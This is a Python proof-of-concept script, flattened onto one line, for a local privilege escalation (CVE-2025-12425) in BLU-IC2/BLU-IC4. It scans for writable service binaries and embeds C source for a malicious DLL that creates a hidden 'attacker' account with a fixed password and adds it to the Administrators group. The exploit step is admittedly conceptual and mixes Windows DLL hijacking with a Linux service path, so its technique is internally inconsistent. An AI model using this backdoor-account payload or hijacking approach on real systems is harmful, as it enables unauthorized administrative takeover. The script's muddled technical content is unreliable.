CVE-2025-12425 BLU-IC2/BLU-IC4 本地权限提升漏洞

# CVE-2025-12425 Local Privilege Escalation PoC for BLU-IC2/BLU-IC4 # This PoC demonstrates the privilege escalation vulnerability import os import subprocess import sys def check_vulnerability(): """Check if the system is vulnerable to CVE-2025-12425""" print("[*] Checking for CVE-2025-12425 vulnerability...") print("[*] Target: BLU-IC2/BLU-IC4 through version 1.19.5") # Check current user privileges current_user = os.getenv('USERNAME') or os.getenv('USER') print(f"[*] Current user: {current_user}") # Check for vulnerable service or file permissions vulnerable_paths = [ '/opt/blu-ic2/bin/service', '/opt/blu-ic4/bin/service', 'C:\\Program Files\\BLU-IC2\\service.exe', 'C:\\Program Files\\BLU-IC4\\service.exe' ] for path in vulnerable_paths: if os.path.exists(path): print(f"[+] Found vulnerable service at: {path}") # Check file permissions try: # Attempt to modify service binary if os.access(path, os.W_OK): print(f"[!] VULNERABLE: {path} is writable by current user") return True except: pass print("[-] No obvious vulnerability indicators found") return False def exploit_privilege_escalation(): """Attempt to exploit CVE-2025-12425 for privilege escalation""" print("[*] Attempting privilege escalation...") # This is a conceptual exploit - actual implementation requires # specific analysis of the vulnerable service # Step 1: Identify vulnerable service service_path = '/opt/blu-ic2/bin/service' # Example path # Step 2: Create malicious DLL for DLL hijacking malicious_dll = """ #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Execute payload with SYSTEM privileges system("cmd.exe /c net user attacker P@ssw0rd! /add"); system("cmd.exe /c net localgroup Administrators attacker /add"); } return TRUE; } """ # Step 3: Replace legitimate DLL or binary print("[*] Note: Actual exploitation requires placing malicious payload") print("[*] in a location where the vulnerable service will load it") print("[*] This typically requires write access to system directories") return False if __name__ == "__main__": print("="*60) print("CVE-2025-12425 Privilege Escalation Checker") print("="*60) if check_vulnerability(): print("[+] System appears to be vulnerable") print("[!] This is a PoC for educational purposes only") else: print("[-] System may not be vulnerable or target not found")